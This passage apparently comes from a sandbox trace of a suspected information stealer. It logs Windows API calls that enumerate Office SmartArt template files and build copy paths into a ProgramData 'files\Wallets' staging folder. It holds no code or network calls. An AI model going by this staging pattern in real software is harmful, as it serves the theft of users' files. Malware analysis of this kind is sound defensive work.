| out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.340] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.340] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\.." [0052.340] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.341] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.341] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\.." [0052.341] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.341] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.341] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.341] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328884[[fn=architecture]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox" [0052.341] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.341] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.341] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328884[[fn=architecture]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox" [0052.341] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.341] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328893[[fn=BracketList]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox" [0052.341] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.341] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.341] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328893[[fn=BracketList]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox" [0052.341] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.341] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328905[[fn=Chevron Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox" [0052.341] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.341] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.341] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328905[[fn=Chevron Accent]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox" [0052.341] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.341] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328908[[fn=Circle Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox" [0052.341] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.341] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.342] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328908[[fn=Circle Process]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox" [0052.342] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.342] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328916[[fn=Converging Text]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox" [0052.342] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.342] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.342] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328916[[fn=Converging Text]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox" [0052.342] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.342] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328919[[fn=Hexagon Radial]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox" [0052.342] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.342] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.342] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328919[[fn=Hexagon Radial]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox" [0052.342] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.342] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328925[[fn=Interconnected Block Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox" [0052.342] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.342] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.342] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328925[[fn=Interconnected Block Process]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox" [0052.342] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.342] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") 